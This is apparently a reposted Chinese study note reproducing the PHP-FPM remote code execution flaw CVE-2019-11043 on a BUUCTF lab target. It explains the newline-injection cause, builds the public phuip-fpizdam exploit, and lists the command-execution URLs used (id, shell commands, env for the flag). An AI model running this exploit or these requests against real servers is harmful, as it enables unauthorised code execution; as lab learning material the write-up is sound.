PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习

Posted Mke2fs

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习相关的知识,希望对你有一定的参考价值。

1.概述

漏洞主要由于 php-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 nginx 中 fastcgi_split_path_info 对应的正则表达式,导致传递给 PHP-FPM 的 PATH_INFO 值为空,从而触发该漏洞,通过发送特制的URL请求,在一些特殊的配置情况下会导致任意代码执行

2.复现环境(因为exp需要go语言环境编译,所以老老实实配置go语言环境吧)

1)下载go语言安装包

wget https://studygolang.com/dl/golang/go1.10.3.linux-amd64.tar.gz 

2)解压到指定目录/usr/local/下

root@Mke:/usr/local# tar -C /usr/local -xzf go1.10.3.linux-amd64.tar.gz 

3)在/etc/profile末尾加一句话

vim /etc/profile
#####这一句,是添加go语言的环境变量,全局调用
export PATH=$PATH:/usr/local/go/bin

4)然后使得配置生效

source /etc/profile

查看一下go语言环境

完美

3.下载工具包(exp)

go get github.com/neex/phuip-fpizdam
####下载完成后会在当前目录下生成一个go目录
cd go/src/
####切换到这个目录下,编译go源码
go build github.com/neex/phuip-fpizdam
####编译完成会生成一个phuip-fpizdam文件

4.测试漏洞

靶机:http://613-d9f884cd-dfd6-4afa-985b-5a215d575ad9node3.buuoj.cn:26779/index.php

注:漏洞环境懒得搭,所以用buuctf的漏洞环境作为靶场(嗯,赵师傅NB!!!)

攻击步骤嘛

./phuip-fpizdam 目标地址/index.php

 

访问·一下目标地址

http://613-d9f884cd-dfd6-4afa-985b-5a215d575ad9node3.buuoj.cn:26779/index.php?a=/bin/sh+-c+%27which+which%27

 

查看一下当前权限

http://613-d9f884cd-dfd6-4afa-985b-5a215d575ad9node3.buuoj.cn:26779/index.php?a=id

 复现基本结束

菜鸡笔记—-2020-1-14

末尾送个彩蛋,参数a=env即可Get Flag   ,/笑

以上是关于PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习的主要内容,如果未能解决你的问题,请参考以下文章

PHP远程代码执行漏洞:CVE-2019-11043

Nginx+PHP-FPM远程命令执行_CVE-2019-11043

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞(代

PHP 7的PHP-FPM存在远程代码执行漏洞

windows RDP远程代码执行_CVE-2019-0708漏洞复现

cve-2019-0708 远程桌面代码执行漏洞复现